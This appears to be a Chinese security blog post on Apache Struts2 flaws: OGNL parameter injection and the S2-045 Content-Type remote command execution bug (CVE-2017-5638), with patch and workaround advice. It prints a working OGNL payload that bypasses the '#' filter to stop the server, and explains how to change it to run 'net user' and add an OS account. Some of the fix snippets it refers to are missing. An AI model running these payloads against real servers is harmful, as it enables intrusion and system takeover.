一、
在Struts2的Model-View-Controller模式实现以下五个核心组件:动作-Actions、拦截器-Interceptors、值栈/OGNL、结果/结果类型、视图技术
Struts2的核心是使用的webwork框架,处理 action时通过调用底层的getter/setter方法来处理http的参数,它将每个http参数声明为一个ONGL语句。 当我们提交一个http参数: ?user.address.city=Bishkek&user['favoriteDrink']=kumys
ONGL将它转换为:
action.getUser().getAddress().setCity("Bishkek")
action.getUser().setFavoriteDrink("kumys")
这是通过ParametersInterceptor(参数过滤器)来执行的,使用用户提供的HTTP参数调用 ValueStack.setValue()。
为了防范篡改服务器端对象,XWork的ParametersInterceptor不允许参数名中出现“#”字符,但如果使用了Java的 unicode字符串表示\u0023,攻击者就可以绕过保护,修改保护Java方式执行的值:
此处代码有破坏性,请在测试环境执行,严禁用此种方法进行恶意攻击
?('\u0023_memberAccess[\'allowStaticMethodAccess\']')(meh)=true&(aaa)(('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003d\u0023foo')(\u0023foo\u003dnew%20java.lang.Boolean("false")))&(asdf)(('\u0023rt.exit(1)')(\u0023rt\u003d@java.lang.Runtime@getRuntime()))=1
转义后是这样:
?('#_memberAccess['allowStaticMethodAccess']')(meh)=true&(aaa)(('#context['xwork.MethodAccessor.denyMethodExecution']=#foo')(#foo=new%20java.lang.Boolean("false")))&(asdf)(('#rt.exit(1)')(#rt=@java.lang.Runtime@getRuntime()))=1
OGNL处理时最终的结果就是
java.lang.Runtime.getRuntime().exit(1); //关闭程序,即将web程序关闭
类似的可以执行
java.lang.Runtime.getRuntime().exec("net user 用户名 密码 /add");//增加操作系统用户,在有权限的情况下能成功(在URL中用%20替换空格,%2F替换/)
只要有权限就可以执行任何DOS命令。
解决方法:
最简单的方法为更新struts2的jar包为最新版本,即可!
二、
2017年3月6日,Apache Struts2被曝存在远程命令执行漏洞,漏洞编号:S2-045,CVE编号:CVE-2017-5638,官方评级为高危,该漏洞是由于在使用基于Jakarta插件的文件上传功能条件下,恶意用户可以通过修改HTTP请求头中的Content-Type值来触发该漏洞,进而执行任意系统命令,导致系统被黑客入侵。
公告全文:https://help.aliyun.com/noticelist/articleid/20273580.html
Problem
It is possible to perform a RCE attack with a malicious Content-Type
value. If the Content-Type
value isn't valid an exception is thrown which is then used to display an error message to a user.
Solution
If you are using Jakarta based file upload Multipart parser, upgrade to Apache Struts version 2.3.32 or 2.5.10.1. You can also switch to a different implementation of the Multipart parser.
Backward compatibility
No backward incompatibility issues are expected.
Workaround
Implement a Servlet filter which will validate Content-Type
and throw away request with suspicious values not matching multipart/form-data
.
Other option is to remove the File Upload Interceptor from the stack, just define your own custom stack and set it as a default - please read How do we configure an Interceptor to be used with every Action. This will work only for Struts 2.5.8 - 2.5.10.
.官方解决方案
官方已经发布版本更新,尽快升级到不受影响的版本(Struts 2.3.32或Struts 2.5.10.1),建议在升级前做好数据备份。
临时修复方案
在用户不便进行升级的情况下,作为临时的解决方案,用户可以进行以下操作来规避风险:
在WEB-INF/classes目录下的struts.xml 中的struts 标签下添加
在WEB-INF/classes/ 目录下添加 global.properties,文件内容如下:
struts.messages.upload.error.InvalidContentTypeException=1
配置过滤器过滤Content-Type的内容,在web应用的web.xml中配置过滤器,在过滤器中对Content-Type内容的合法性进行检测:
3.技术解决方案
对于没有网络防护设备的企业,可以使用专业厂商的防护设备进行防护;或者使用专业安全厂商的针对性安全服务对已有业务进行漏洞排查和修复。正在使用安全防护设备的企业,目前各大安全厂商都已经推出针对该漏洞的紧急升级包,请及时升级已有防护设备的防护规则和检测规则。